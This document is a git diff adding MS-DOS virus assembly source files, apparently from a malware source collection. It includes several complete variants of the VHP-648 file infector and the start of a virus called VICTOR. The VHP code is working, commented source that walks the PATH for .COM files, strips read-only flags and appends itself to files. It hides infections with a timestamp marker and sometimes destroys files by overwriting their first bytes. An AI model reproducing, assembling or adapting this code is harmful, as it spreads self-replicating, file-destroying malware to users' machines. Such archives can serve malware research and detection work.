interrupt 24h handler + int 21 ; and save it in errhnd + mov [bp-errhnd],bx + mov [bp-errhnd+2],es + + mov ah,25 ;Set interrupt 24h handler + lea dx,[si+handler-data] + int 21 + + lea dx,[bp-mydta] + mov ah,1A ;Set DTA + int 21 + + push si + mov es,ds:[environ] ;Environment address + xor di,di + mov bx,si +srchfirst: ;Search 'PATH' in environment + lea si,[bx+pathstr-data] + lodsb + scasb ;Search for first letter ('P') + jne nextp + mov cx,4 ;4 letters in 'ATH=' + rep cmpsb + je pfound ;PATH found, continue +nextp: + cmp byte ptr es:[di],0 + je notfound ;End of environment? + mov cx,8000 ;Maximum 32 K in environment + mov al,0 ;If not, skip thru next 0 + repne scasb ; (i.e. go to next variable) + jmp srchfirst ; and search again +notfound: + xor di,di ;0 indicates no PATH found +pfound: + pop si ;Restore SI & ES + pop es + + mov [bp-poffs],di ;Save 'PATH' offset in poffs + lea di,[bp-fname] + mov [bp-pname],di + +filesrch: + lea si,[bx+allcom-data] + mov cl,3 ;3 words in ASCIIZ '*.COM' + rep movsw ;Move '*.COM' at fname + mov si,bx ;Restore SI + + mov ah,4E ;Find first file + lea dx,[bp-fname] + mov cl,11b ;Hidden, Read/Only or Normal files + int 21 + jc nextdir ;If not found, search in another directory + +checkfile: + mov al,[bp-time] ;Check file time + and al,11111b ; (the seconds, more exactly) + cmp al,62d/2 ;Are they 62? + +;If so, file is already contains the virus, search for another: + + je findnext + +;Is file size greather than 64,000 bytes? + + cmp [bp-fsize],64000d + ja findnext ;If so, search for next file + +;Is file size greater or equal to 10 bytes? + + cmp word ptr [bp-fsize],10d + jae process ;If so, process file + +findnext: ;Otherwise find the next file + mov ah,4F ;Find next file + int 21 + jnc checkfile ;If found, go chech some conditions + +nextdir: + mov si,[bp-poffs] + or si,si + jnz skip2 + jmp olddta ;Exit if end of environment reached +skip2: + push ds ;Save DS + lea di,[bp-fname] ;Point ES:DI at fname + mov ds,ds:[environ] ;Point DS:SI at the PATH variable found +cpydir: + lodsb ;Get a char from the PATH variable + cmp al,';' ;`;' means end of directory + je enddir + cmp al,0 ;0 means end of PATH variable + je endpath + stosb ;Put the char in fname + jmp cpydir ;Loop until done +endpath: + xor si,si ;Zero SI to indicate end of PATH +enddir: + pop ds ;Restore DS + mov [bp-poffs],si + cmp byte ptr [di-1],'\' + je skip3 + mov al,'\' ;Add '\' if not already present + stosb +skip3: + mov [bp-pname],di + jmp filesrch + +process: + mov di,[bp-pname] + lea si,[bp-namez] ;Point SI at namez +cpyname: + lodsb ;Copy name found to fname + stosb + cmp al,0 + jne cpyname + mov si,bx ;Restore SI + + mov ax,4301 ;Set file attributes + mov cl,[bp-attrib] + and cl,not 1 ;Turn off Read Only flag + int 21 + + mov ax,3D02 ;Open file with Read/Write access + int 21 + jc oldattr ;Exit on error + mov bx,ax ;Save file handle in BX + + mov ah,2C ;Get system time + int 21 + and dh,111b ;Are seconds a multiple of 8? + jnz infect ;If not, contaminate file (don't destroy): + +;Destroy file by rewriting an illegal jmp as first instruction: + + mov ah,40 ;Write to file handle + mov cx,5 ;Write 5 bytes + lea dx,[si+bad_jmp-data] ;Write THESE bytes + int 21 ;Do it + jmp short oldtime ;Exit + +;Try to contaminate file: + +;Read first instruction of the file (first 3 bytes) and save it in saveins: + +infect: + mov ah,3F ;Read from file handle + mov cx,3 ;Read 3 bytes + lea dx,[si+saveins-data] ;Put them there + int 21 + jc oldtime ;Exit on error + cmp ax,3 ;Are really 3 bytes read? + jne oldtime ;Exit if not + +;Move file pointer to end of file: + + mov ax,4202 ;LSEEK from end of file + xor cx,cx ;0 bytes from end + xor dx,dx + int 21 + jc oldtime ;Exit on error + + add ax,virus-data-3 ;Add virus data length to get code offset + mov [bp-codeptr],ax ;Save result in codeptr + mov byte ptr [bp-newjmp],0E9 + + mov ah,40 ;Write to file handle + mov cx,endcode-data ;Virus code length as bytes to be written + mov dx,si ;Write from data to endcode + int 21 + jc oldtime ;Exit on error + cmp ax,endcode-data ;Are all bytes written? + jne oldtime ;Exit if not + + mov ax,4200 ;LSEEK from the beginning of the file + xor cx,cx ;Just at the file beginning + xor dx,dx + int 21 + jc oldtime ;Exit on error + +;Rewrite the first instruction of the file with a jump to the virus code: + + mov ah,40 ;Write to file handle + mov cl,3 ;3 bytes to write + lea dx,[bp-newjmp] ;Write THESE bytes + int 21 + +oldtime: + mov dx,[bp-date] ;Restore file date + mov cx,[bp-time] ; and time + or cl,11111b ;Set seconds to 62 (?!) + + mov ax,5701 ;Set file date & time + int 21 + mov ah,3E ;Close file handle + int 21 + +oldattr: + mov ax,4301 ;Set file attributes + mov cl,[bp-attrib] ;They were saved in fattrib + mov ch,0 + lea dx,[bp-fname] + int 21 + +olddta: + mov ah,1A ;Set DTA + mov dx,80 ;Restore DTA + int 21 + + push ds ;Save DS + mov ax,2524 ;Set interrupt 24h handler + mov dx,[bp-errhnd] ;Restore saved handler + mov ds,[bp-errhnd+2] + int 21 + pop ds ;Restore DS + +exit: + mov sp,bp + pop bp ;Restore BP, CX & AX + pop cx + pop ax + xor bx,bx ;Clear registers + xor dx,dx + xor si,si + mov di,offset start ;Jump to CS:100 + push di ; by doing funny RET + xor di,di + ret + +handler: ;Critical error handler + mov al,0 ;Just ignore error + iret ; and return +endcode label byte + +code ends + end start + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.vhp-623.asm b/MSDOS/Virus.MSDOS.Unknown.vhp-623.asm new file mode 100644 index 00000000..98266487 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.vhp-623.asm @@ -0,0 +1,332 @@ + name Virus + title Virus; based on the famous VHP-648 virus + .radix 16 +code segment + assume cs:code,ds:code + org 100 +environ equ 2C + +start: + jmp virus + int 20 + +data label byte ;Data section +dtaaddr dd ? ;Disk Transfer Address +ftime dw ? ;File date +fdate dw ? ;File time +fattrib dw ? ;File attribute +saveins db 3 dup (90) ;Original first 3 bytes +newjmp db 0E9 ;Code of jmp instruction +codeptr dw ? ;Here is formed a jump to virus code +allcom db '*.COM',0 ;Filespec to search for +poffs dw ? ;Address of 'PATH' string +eqoffs dw ? ;Address of '=' sign +pathstr db 'PATH=' +fname db 40 dup (' ') ;Path name to search for + +;Disk Transfer Address for Find First / Find Next: + +mydta label byte +drive db ? ;Drive to search for +pattern db 13d dup (?) ;Search pattern +reserve db 7 dup (?) ;Not used +attrib db ? ;File attribute +time dw ? ;File time +date dw ? ;File date +fsize dd ? ;File size +namez db 13d dup (?) ;File name found + +;This replaces the first instruction of a destroyed file. +;It's a jmp instruction into the hard disk formatting program (IBM XT only): + +bad_jmp db 0EA,0,0,0,0C8 +errhnd dd ? + +virus: + push cx ;Save CX + + mov dx,offset data ;Restore original first instruction +modify equ $-2 ;The instruction above is changed + ; before each contamination + cld + mov si,dx + add si,saveins-data ;Instruction saved there + mov di,offset start + mov cx,3 ;Move 3 bytes + rep movsb ;Do it + mov si,dx ;Keep SI pointed at data + + mov ah,30 ;Get DOS version + int 21 + cmp al,0 ;Less than 2.0? + jne skip1 + jmp exit ;Exit if so + +skip1: + push es ;Save ES + mov ah,2F ;Get current DTA in ES:BX + int 21 + mov [si+dtaaddr-data],bx ;Save it in dtaaddr + mov [si+dtaaddr+2-data],es + + mov ax,3524 ;Get interrupt 24h handler + int 21 ; and save it in errhnd + mov [si+errhnd-data],bx + mov [si+errhnd+2-data],es + pop es ;Restore ES + + mov ax,2524 ;Set interrupt 24h handler + mov dx,si + add dx,handler-data + int 21 + + mov dx,mydta-data + add dx,si + mov ah,1A ;Set DTA + int 21 + + push es ;Save ES & SI + push si + mov es,ds:[environ] ;Environment address + xor di,di +n_00015A: ;Search 'PATH' in environment + pop si ;Restore data offset in SI + push si + add si,pathstr-data + lodsb + mov cx,8000 ;Maximum 32K in environment + repne scasb ;Search for first letter ('P') + mov cx,4 ;4 letters in 'PATH' +n_000169: + lodsb ;Search for next char + scasb + jne n_00015A ;If not found, search for next 'P' + loop n_000169 ;Loop until done + pop si ;Restore SI & ES + pop es + + mov [si+poffs-data],di ;Save 'PATH' offset in poffs + mov bx,si ;Point BX at data area + add si,fname-data ;Point SI & DI at fname + mov di,si + jmp short n_0001BF + +n_000185: + cmp word ptr [si+poffs-data],6C + jne n_00018F + jmp olddta +n_00018F: + push ds + push si + mov ds,es:[environ] + mov di,si + mov si,es:[di+poffs-data] + add di,fname-data +n_0001A1: + lodsb + cmp al,';' + je n_0001B0 + cmp al,0 + je n_0001AD + stosb + jmp n_0001A1 +n_0001AD: + xor si,si +n_0001B0: + pop bx + pop ds + mov [bx+poffs-data],si + cmp byte ptr [di-1],'\' + je n_0001BF + mov al,'\' ;Add '\' if not already present + stosb + +n_0001BF: + mov [bx+eqoffs-data],di ;Save '=' offset in eqoffs + mov si,bx ;Restore data pointer in SI + add si,allcom-data + mov cl,6 ;6 bytes in ASCIIZ '*.COM' + rep movsb ;Move '*.COM' at fname + mov si,bx ;Restore SI + + mov ah,4E ;Find first file + mov dx,fname-data + add dx,si + mov cl,11b ;Hidden, Read/Only or Normal files + int 21 + jmp short n_0001E3 + +findnext: + mov ah,4F ;Find next file + int 21 +n_0001E3: + jnc n_0001E7 ;If found, try to contaminate it + jmp n_000185 ;Otherwise search in another directory + +n_0001E7: + mov ax,[si+time-data] ;Check file time + and al,11111b ; (the seconds, more exactly) + cmp al,62d/2 ;Are they 62? + +;If so, file is already contains the virus, search for another: + + je findnext + +;Is file size greather than 64,000 bytes? + + cmp [si+fsize-data],64000d + ja findnext ;If so, search for next file + +;Is file size less than 10 bytes? + + cmp word ptr [si+fsize-data],10d + jb findnext ;If so, search for next file + + mov di,[si+eqoffs-data] + push si ;Save SI + add si,namez-data ;Point SI at namez +n_000209: + lodsb + stosb + cmp al,0 + jne n_000209 + + pop si ;Restore SI + mov ax,4300 ;Get file attributes + mov dx,fname-data + add dx,si + int 21 + + mov [si+fattrib-data],cx ;Save them in fattrib + mov ax,4301 ;Set file attributes + and cl,not 1 ;Turn off Read Only flag + int 21 + + mov ax,3D02 ;Open file with Read/Write access + int 21 + jnc n_00023E + jmp oldattr ;Exit on error + +n_00023E: + mov bx,ax ;Save file handle in BX + mov ax,5700 ;Get file date & time + int 21 + mov [si+ftime-data],cx ;Save time in ftime + mov [si+fdate-data],dx ;Save date in fdate + + mov ah,2C ;Get system time + int 21 + and dh,111b ;Are seconds a multiple of 8? + jnz n_000266 ;If not, contaminate file (don't destroy): + +;Destroy file by rewriting an illegal jmp as first instruction: + + mov ah,40 ;Write to file handle + mov cx,5 ;Write 5 bytes + mov dx,si + add dx,bad_jmp-data ;Write THESE bytes + int 21 ;Do it + jmp short oldtime ;Exit + +;Try to contaminate file: + +;Read first instruction of the file (first 3 bytes) and save it in saveins: + +n_000266: + mov ah,3F ;Read from file handle + mov cx,3 ;Read 3 bytes + mov dx,saveins-data ;Put them there + add dx,si + int 21 + jc oldtime ;Exit on error + cmp ax,3 ;Are really 3 bytes read? + jne oldtime ;Exit if not + +;Move file pointer to end of file: + + mov ax,4202 ;LSEEK from end of file + xor cx,cx ;0 bytes from end + xor dx,dx + int 21 + jc oldtime ;Exit on error + + mov cx,ax ;Get the value of file pointer (file size) + add ax,virus-data-3 ;Add virus data length to get code offset + mov [si+codeptr-data],ax ;Save result in codeptr + inc ch ;Add 100h to CX + mov di,si + add di,modify-data ;A little self-modification + mov [di],cx + + mov ah,40 ;Write to file handle + mov cx,endcode-data ;Virus code length as bytes to be written + mov dx,si ;Write from data to endcode + int 21 + jc oldtime ;Exit on error + cmp ax,endcode-data ;Are all bytes written? + jne oldtime ;Exit if not + + mov ax,4200 ;LSEEK from the beginning of the file + xor cx,cx ;Just at the file beginning + xor dx,dx + int 21 + jc oldtime ;Exit on error + +;Rewrite the first instruction of the file with a jump to the virus code: + + mov ah,40 ;Write to file handle + mov cl,3 ;3 bytes to write + mov dx,si + add dx,newjmp-data ;Write THESE bytes + int 21 + +oldtime: + mov dx,[si+fdate-data] ;Restore file date + mov cx,[si+ftime-data] ; and time + and cl,not 11111b + or cl,11111b ;Set seconds to 62 (?!) + + mov ax,5701 ;Set file date & time + int 21 + mov ah,3E ;Close file handle + int 21 + +oldattr: + mov ax,4301 ;Set file attributes + mov cx,[si+fattrib-data] ;They were saved in fattrib + mov dx,fname-data + add dx,si + int 21 + +olddta: + push ds ;Save DS + mov ah,1A ;Set DTA + mov dx,[si+dtaaddr-data] ;Restore saved DTA + mov ds,[si+dtaaddr+2-data] + int 21 + + mov ax,2524 ;Set interrupt 24h handler + mov dx,[si+errhnd-data] ;Restore saved handler + mov ds,[si+errhnd+2-data] + int 21 + pop ds ;Restore DS + +exit: + pop cx ;Restore CX + xor ax,ax ;Clear registers + xor bx,bx + xor dx,dx + xor si,si + mov di,100 ;Jump to CS:100 + push di ; by doing funny RET + xor di,di + ret -1 + +handler: ;Critical error handler + mov al,0 ;Just ignore error + iret ; and return +endcode label byte + +code ends + end start + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.vhp-627.asm b/MSDOS/Virus.MSDOS.Unknown.vhp-627.asm new file mode 100644 index 00000000..59911d23 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.vhp-627.asm @@ -0,0 +1,331 @@ + name Virus + title Disassembly listing of the VHP-648 virus + .radix 16 +code segment + assume cs:code,ds:code + org 100 +environ equ 2C + +start: + jmp virus + +message db 'Hello, world!$' + + mov ah,9 + mov dx,offset message + int 21 + int 20 + +virus: + push cx ;Save CX + + mov dx,offset data ;Restore original first instruction +modify equ $-2 ;The instruction above is changed + ; before each contamination + cld + mov si,dx + add si,saveins-data ;Instruction saved there + mov di,offset start + mov cx,3 ;Move 3 bytes + rep movsb ;Do it + mov si,dx ;Keep SI pointed at data + + mov ah,30 ;Get DOS version + int 21 + cmp al,0 ;Less than 2.0? + jne skip1 + jmp exit ;Exit if so + +skip1: + push es ;Save ES + mov ah,2F ;Get current DTA in ES:BX + int 21 + mov word ptr [si+0],bx ;dtaadr + mov word ptr [si+2],es + pop es ;Restore ES + + mov dx,mydta-data + add dx,si + mov ah,1A ;Set DTA + int 21 + + push es ;Save ES & SI + push si + mov es,ds:[environ] ;Environment address + mov di,0 +n_00015A: ;Search 'PATH=' in the environment + pop si ;Restore data offset in SI + push si + add si,pathstr-data + lodsb + mov cx,8000 ;Maximum 32K in environment + repne scasb ;Search for first letter ('P') + mov cx,4 ;4 letters in 'PATH' +n_000169: + lodsb ;Search for next char + scasb + jne n_00015A ;If not found, search for next 'P' + loop n_000169 ;Loop until done + pop si ;Restore SI & ES + pop es + + mov [si+16],di ;Save 'PATH' offset in poffs + mov di,si + add di,fname-data ;Point SI & DI at '=' sign + mov bx,si ;Point BX at data area + add si,fname-data + mov di,si + jmp short n_0001BF + +n_000185: + cmp word ptr [si+16],6C ;poffs + jne n_00018F + jmp olddta +n_00018F: + push ds + push si + mov ds,es:[environ] + mov di,si + mov si,es:[di+16] ;poffs + add di,fname-data +n_0001A1: + lodsb + cmp al,';' + je n_0001B0 + cmp al,0 + je n_0001AD + stosb + jmp n_0001A1 +n_0001AD: + mov si,0 +n_0001B0: + pop bx + pop ds + mov [bx+16],si ;poffs + cmp byte ptr [di-1],'\' + je n_0001BF + mov al,'\' ;Add '\' if not already present + stosb + +n_0001BF: + mov [bx+18],di ;Save '=' offset in eqoffs + mov si,bx ;Restore data pointer in SI + add si,allcom-data + mov cx,6 ;6 bytes in ASCIIZ '*.COM' + rep movsb ;Move '*.COM' at fname + mov si,bx ;Restore SI + + mov ah,4E ;Find first file + mov dx,fname-data + add dx,si + mov cx,11b ;Hidden, Read/Only or Normal files + int 21 + jmp short n_0001E3 + +findnext: + mov ah,4F ;Find next file + int 21 +n_0001E3: + jnc n_0001E7 ;If found, try to contaminate it + jmp n_000185 ;Otherwise search in another directory + +n_0001E7: + mov ax,[si+75] ;Check file time + and al,11111b ; (the seconds, more exactly) + cmp al,62d/2 ;Are they 62? + +;If so, file is already contains the virus, search for another: + + je findnext + cmp [si+79],64000d ;Is file size greather than 64,000 bytes? + ja findnext ;If so, search for next file + cmp word ptr [si+79],10d ;Is file size less than 10 bytes? + jb findnext ;If so, search for next file + + mov di,[si+18] ;eqoffs + push si ;Save SI + add si,namez-data ;Point SI at namez +n_000209: + lodsb + stosb + cmp al,0 + jne n_000209 + + pop si ;Restore SI + mov ax,4300 ;Get file attributes + mov dx,fname-data + add dx,si + int 21 + + mov [si+8],cx ;Save them in fattrib + mov ax,4301 ;Set file attributes + +;The next `db's are there because MASM can't assemble +; the instruction `and cx,0FFFE' correctly (the fool!): + + db 081,0E1,0FE,0FF +; and cx,not 1 ;Turn off Read Only flag + mov dx,fname-data + add dx,si + int 21 + + mov ax,3D02 ;Open file with Read/Write access + mov dx,fname-data + add dx,si + int 21 + jnc n_00023E + jmp oldattr ;Exit on error + +n_00023E: + mov bx,ax ;Save file handle in BX + mov ax,5700 ;Get file date & time + int 21 + mov [si+4],cx ;Save time in ftime + mov [si+6],dx ;Save date in fdate + + mov ah,2C ;Get system time + int 21 + and dh,111b ;Are seconds a multiple of 8? + +;If so, destroy file (don't contaminate). Now this code is disabled. + + jmp short n_000266 ;CHANGED. Was jnz here + +;Destroy file by rewriting an illegal jmp as first instruction: + + mov ah,40 ;Write to file handle + mov cx,5 ;Write 5 bytes + mov dx,si + add dx,bad_jmp-data ;Write THESE bytes + int 21 ;Do it + jmp short oldtime ;Exit + +;Try to contaminate file: + +;Read first instruction of the file (first 3 bytes) and save it in saveins: + +n_000266: + mov ah,3F ;Read from file handle + mov cx,3 ;Read 3 bytes + mov dx,saveins-data ;Put them there + add dx,si + int 21 + jc oldtime ;Exit on error + cmp ax,3 ;Are really 3 bytes read? + jne oldtime ;Exit if not + +;Move file pointer to end of file: + + mov ax,4202 ;LSEEK from end of file + mov cx,0 ;0 bytes from end + mov dx,0 + int 21 + jc oldtime ;Exit on error + + mov cx,ax ;Get the value of file pointer + sub ax,3 ;Subtract 3 from it to get real code size + mov [si+14d],ax ;Save result in filloc + add cx,data-(virus-100) + mov di,si + sub di,data-modify ;A little self-modification + mov [di],cx + + mov ah,40 ;Write to file handle + mov cx,enddata-virus ;Virus code length as bytes to be written + mov dx,si + sub dx,data-virus ;Now DX points at virus label + int 21 + jc oldtime ;Exit on error + cmp ax,enddata-virus ;Are all bytes written? + jne oldtime ;Exit if not + + mov ax,4200 ;LSEEK from the beginning of the file + mov cx,0 ;Just at the file beginning + mov dx,0 + int 21 + jc oldtime ;Exit on error + +;Rewrite the first instruction of the file with a jump to the virus code: + + mov ah,40 ;Write to file handle + mov cx,3 ;3 bytes to write + mov dx,si + add dx,newjmp-data ;Write THESE bytes + int 21 + +oldtime: + mov dx,[si+6] ;Restore file date + mov cx,[si+4] ; and time + +;And these again are due to the MASM 5.0 foolness: + + db 081,0E1,0E0,0FF + db 081,0C9,01F,000 +; and cx,not 11111b +; or cx,11111b ;Set seconds to 62 (?!) + + mov ax,5701 ;Set file date & time + int 21 + mov ah,3E ;Close file handle + int 21 + +oldattr: + mov ax,4301 ;Set file attributes + mov cx,[si+8] ;They were saved in fattrib + mov dx,fname-data + add dx,si + int 21 + +olddta: + push ds ;Save DS + mov ah,1A ;Set DTA + mov dx,[si+0] ;Restore saved DTA + mov ds,[si+2] + int 21 + pop ds ;Restore DS + +exit: + pop cx ;Restore CX + xor ax,ax ;Clear registers + xor bx,bx + xor dx,dx + xor si,si + mov di,100 ;Jump to CS:100 + push di ; by doing funny RET + xor di,di + ret -1 + +data label byte ;Data section +dtaaddr dd ? ;Disk Transfer Address +ftime dw ? ;File date +fdate dw ? ;File time +fattrib dw ? ;File attribute +saveins db 0EBh,0Fh,90 ;Original first 3 bytes +newjmp db 0E9 ;Code of jmp instruction +filloc dw ? ;File pointer is saved here +allcom db '*.COM',0 ;Filespec to search for +poffs dw ? ;Address of 'PATH' string +eqoffs dw ? ;Address of '=' sign +pathstr db 'PATH=' +fname db 40 dup (' ') ;Path name to search for + +;Disk Transfer Address for Find First / Find Next: + +mydta label byte +drive db ? ;Drive to search for +pattern db 13d dup (?) ;Search pattern +reserve db 7 dup (?) ;Not used +attrib db ? ;File attribute +time dw ? ;File time +date dw ? ;File date +fsize dd ? ;File size +namez db 13d dup (?) ;File name found + +;This replaces the first instruction of a destroyed file: + +bad_jmp db 0EA,0Bh,2,13,58 +enddata label byte + +code ends + end start + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.vhp-648.asm b/MSDOS/Virus.MSDOS.Unknown.vhp-648.asm new file mode 100644 index 00000000..59911d23 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.vhp-648.asm @@ -0,0 +1,331 @@ + name Virus + title Disassembly listing of the VHP-648 virus + .radix 16 +code segment + assume cs:code,ds:code + org 100 +environ equ 2C + +start: + jmp virus + +message db 'Hello, world!$' + + mov ah,9 + mov dx,offset message + int 21 + int 20 + +virus: + push cx ;Save CX + + mov dx,offset data ;Restore original first instruction +modify equ $-2 ;The instruction above is changed + ; before each contamination + cld + mov si,dx + add si,saveins-data ;Instruction saved there + mov di,offset start + mov cx,3 ;Move 3 bytes + rep movsb ;Do it + mov si,dx ;Keep SI pointed at data + + mov ah,30 ;Get DOS version + int 21 + cmp al,0 ;Less than 2.0? + jne skip1 + jmp exit ;Exit if so + +skip1: + push es ;Save ES + mov ah,2F ;Get current DTA in ES:BX + int 21 + mov word ptr [si+0],bx ;dtaadr + mov word ptr [si+2],es + pop es ;Restore ES + + mov dx,mydta-data + add dx,si + mov ah,1A ;Set DTA + int 21 + + push es ;Save ES & SI + push si + mov es,ds:[environ] ;Environment address + mov di,0 +n_00015A: ;Search 'PATH=' in the environment + pop si ;Restore data offset in SI + push si + add si,pathstr-data + lodsb + mov cx,8000 ;Maximum 32K in environment + repne scasb ;Search for first letter ('P') + mov cx,4 ;4 letters in 'PATH' +n_000169: + lodsb ;Search for next char + scasb + jne n_00015A ;If not found, search for next 'P' + loop n_000169 ;Loop until done + pop si ;Restore SI & ES + pop es + + mov [si+16],di ;Save 'PATH' offset in poffs + mov di,si + add di,fname-data ;Point SI & DI at '=' sign + mov bx,si ;Point BX at data area + add si,fname-data + mov di,si + jmp short n_0001BF + +n_000185: + cmp word ptr [si+16],6C ;poffs + jne n_00018F + jmp olddta +n_00018F: + push ds + push si + mov ds,es:[environ] + mov di,si + mov si,es:[di+16] ;poffs + add di,fname-data +n_0001A1: + lodsb + cmp al,';' + je n_0001B0 + cmp al,0 + je n_0001AD + stosb + jmp n_0001A1 +n_0001AD: + mov si,0 +n_0001B0: + pop bx + pop ds + mov [bx+16],si ;poffs + cmp byte ptr [di-1],'\' + je n_0001BF + mov al,'\' ;Add '\' if not already present + stosb + +n_0001BF: + mov [bx+18],di ;Save '=' offset in eqoffs + mov si,bx ;Restore data pointer in SI + add si,allcom-data + mov cx,6 ;6 bytes in ASCIIZ '*.COM' + rep movsb ;Move '*.COM' at fname + mov si,bx ;Restore SI + + mov ah,4E ;Find first file + mov dx,fname-data + add dx,si + mov cx,11b ;Hidden, Read/Only or Normal files + int 21 + jmp short n_0001E3 + +findnext: + mov ah,4F ;Find next file + int 21 +n_0001E3: + jnc n_0001E7 ;If found, try to contaminate it + jmp n_000185 ;Otherwise search in another directory + +n_0001E7: + mov ax,[si+75] ;Check file time + and al,11111b ; (the seconds, more exactly) + cmp al,62d/2 ;Are they 62? + +;If so, file is already contains the virus, search for another: + + je findnext + cmp [si+79],64000d ;Is file size greather than 64,000 bytes? + ja findnext ;If so, search for next file + cmp word ptr [si+79],10d ;Is file size less than 10 bytes? + jb findnext ;If so, search for next file + + mov di,[si+18] ;eqoffs + push si ;Save SI + add si,namez-data ;Point SI at namez +n_000209: + lodsb + stosb + cmp al,0 + jne n_000209 + + pop si ;Restore SI + mov ax,4300 ;Get file attributes + mov dx,fname-data + add dx,si + int 21 + + mov [si+8],cx ;Save them in fattrib + mov ax,4301 ;Set file attributes + +;The next `db's are there because MASM can't assemble +; the instruction `and cx,0FFFE' correctly (the fool!): + + db 081,0E1,0FE,0FF +; and cx,not 1 ;Turn off Read Only flag + mov dx,fname-data + add dx,si + int 21 + + mov ax,3D02 ;Open file with Read/Write access + mov dx,fname-data + add dx,si + int 21 + jnc n_00023E + jmp oldattr ;Exit on error + +n_00023E: + mov bx,ax ;Save file handle in BX + mov ax,5700 ;Get file date & time + int 21 + mov [si+4],cx ;Save time in ftime + mov [si+6],dx ;Save date in fdate + + mov ah,2C ;Get system time + int 21 + and dh,111b ;Are seconds a multiple of 8? + +;If so, destroy file (don't contaminate). Now this code is disabled. + + jmp short n_000266 ;CHANGED. Was jnz here + +;Destroy file by rewriting an illegal jmp as first instruction: + + mov ah,40 ;Write to file handle + mov cx,5 ;Write 5 bytes + mov dx,si + add dx,bad_jmp-data ;Write THESE bytes + int 21 ;Do it + jmp short oldtime ;Exit + +;Try to contaminate file: + +;Read first instruction of the file (first 3 bytes) and save it in saveins: + +n_000266: + mov ah,3F ;Read from file handle + mov cx,3 ;Read 3 bytes + mov dx,saveins-data ;Put them there + add dx,si + int 21 + jc oldtime ;Exit on error + cmp ax,3 ;Are really 3 bytes read? + jne oldtime ;Exit if not + +;Move file pointer to end of file: + + mov ax,4202 ;LSEEK from end of file + mov cx,0 ;0 bytes from end + mov dx,0 + int 21 + jc oldtime ;Exit on error + + mov cx,ax ;Get the value of file pointer + sub ax,3 ;Subtract 3 from it to get real code size + mov [si+14d],ax ;Save result in filloc + add cx,data-(virus-100) + mov di,si + sub di,data-modify ;A little self-modification + mov [di],cx + + mov ah,40 ;Write to file handle + mov cx,enddata-virus ;Virus code length as bytes to be written + mov dx,si + sub dx,data-virus ;Now DX points at virus label + int 21 + jc oldtime ;Exit on error + cmp ax,enddata-virus ;Are all bytes written? + jne oldtime ;Exit if not + + mov ax,4200 ;LSEEK from the beginning of the file + mov cx,0 ;Just at the file beginning + mov dx,0 + int 21 + jc oldtime ;Exit on error + +;Rewrite the first instruction of the file with a jump to the virus code: + + mov ah,40 ;Write to file handle + mov cx,3 ;3 bytes to write + mov dx,si + add dx,newjmp-data ;Write THESE bytes + int 21 + +oldtime: + mov dx,[si+6] ;Restore file date + mov cx,[si+4] ; and time + +;And these again are due to the MASM 5.0 foolness: + + db 081,0E1,0E0,0FF + db 081,0C9,01F,000 +; and cx,not 11111b +; or cx,11111b ;Set seconds to 62 (?!) + + mov ax,5701 ;Set file date & time + int 21 + mov ah,3E ;Close file handle + int 21 + +oldattr: + mov ax,4301 ;Set file attributes + mov cx,[si+8] ;They were saved in fattrib + mov dx,fname-data + add dx,si + int 21 + +olddta: + push ds ;Save DS + mov ah,1A ;Set DTA + mov dx,[si+0] ;Restore saved DTA + mov ds,[si+2] + int 21 + pop ds ;Restore DS + +exit: + pop cx ;Restore CX + xor ax,ax ;Clear registers + xor bx,bx + xor dx,dx + xor si,si + mov di,100 ;Jump to CS:100 + push di ; by doing funny RET + xor di,di + ret -1 + +data label byte ;Data section +dtaaddr dd ? ;Disk Transfer Address +ftime dw ? ;File date +fdate dw ? ;File time +fattrib dw ? ;File attribute +saveins db 0EBh,0Fh,90 ;Original first 3 bytes +newjmp db 0E9 ;Code of jmp instruction +filloc dw ? ;File pointer is saved here +allcom db '*.COM',0 ;Filespec to search for +poffs dw ? ;Address of 'PATH' string +eqoffs dw ? ;Address of '=' sign +pathstr db 'PATH=' +fname db 40 dup (' ') ;Path name to search for + +;Disk Transfer Address for Find First / Find Next: + +mydta label byte +drive db ? ;Drive to search for +pattern db 13d dup (?) ;Search pattern +reserve db 7 dup (?) ;Not used +attrib db ? ;File attribute +time dw ? ;File time +date dw ? ;File date +fsize dd ? ;File size +namez db 13d dup (?) ;File name found + +;This replaces the first instruction of a destroyed file: + +bad_jmp db 0EA,0Bh,2,13,58 +enddata label byte + +code ends + end start + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.vi5.asm b/MSDOS/Virus.MSDOS.Unknown.vi5.asm new file mode 100644 index 00000000..9ab9e2c8 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.vi5.asm @@ -0,0 +1,35 @@ +.286 +.model tiny +.code + org 100H +start: ror si,1 + lodsb + add si,ax + mov [si],ah + mov dx,82H + mov ax,3D00H + int 21H + jc rt + mov cx,40*200 + xchg bx,ax + push 0A000H + pop ds + mov al,13 + int 10H + mov si,10H +m10: mov dx,03C4H + mov al,2 + out dx,al + xchg si,ax + shr al,1 + inc dx + out dx,al + xchg si,ax + mov ah,3FH + cwd + int 21H + or ax,ax + jnz m10 + int 16H +rt: ret +end start diff --git a/MSDOS/Virus.MSDOS.Unknown.victor.asm b/MSDOS/Virus.MSDOS.Unknown.victor.asm new file mode 100644 index 00000000..e0d01897 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.victor.asm @@ -0,0 +1,889 @@ +;************************************************ +;* * +;* VICTOR V.1.0 * +;* The incredible high performance virus * +;* Length #98A bytes * +;* * +;************************************************ +; +; 6 = bunteto sys file's time +; 8 = bunteto sys file's date +; 3f = Loaded .EXE header E... offset SS +; 41 = value SP +; 43 = chksum +; 45 = value IP +; 47 = offset CS +; 49 = SS init addr (relative to 0) +; 4B = SP init addr +; 4F = .EXE start point ofs (relative to 0) +; 51 = .EXE start point seg +; 53 = .exe size$ - header length +; 59 = .EXE file logikai merete /felkerekitve egy $ al, $ hatar/ +; 5B = --""-- +; 5D = .exe size length mod 512 +; 5F = .exe size length div 512 +; 61 = Loaded .EXE header length $ mod 512 +; 63 = PSP seg +; 65 = psp seg +; 72 = ido tarolohely hi=sec, lo=1/100 sec +; B 74 = jelzo a bunteto rendszerben talalt file 1=COM,0=EXE +; 75 = a bunteto rendszerben a talalt file attributuma +; 77 = DOS fatal 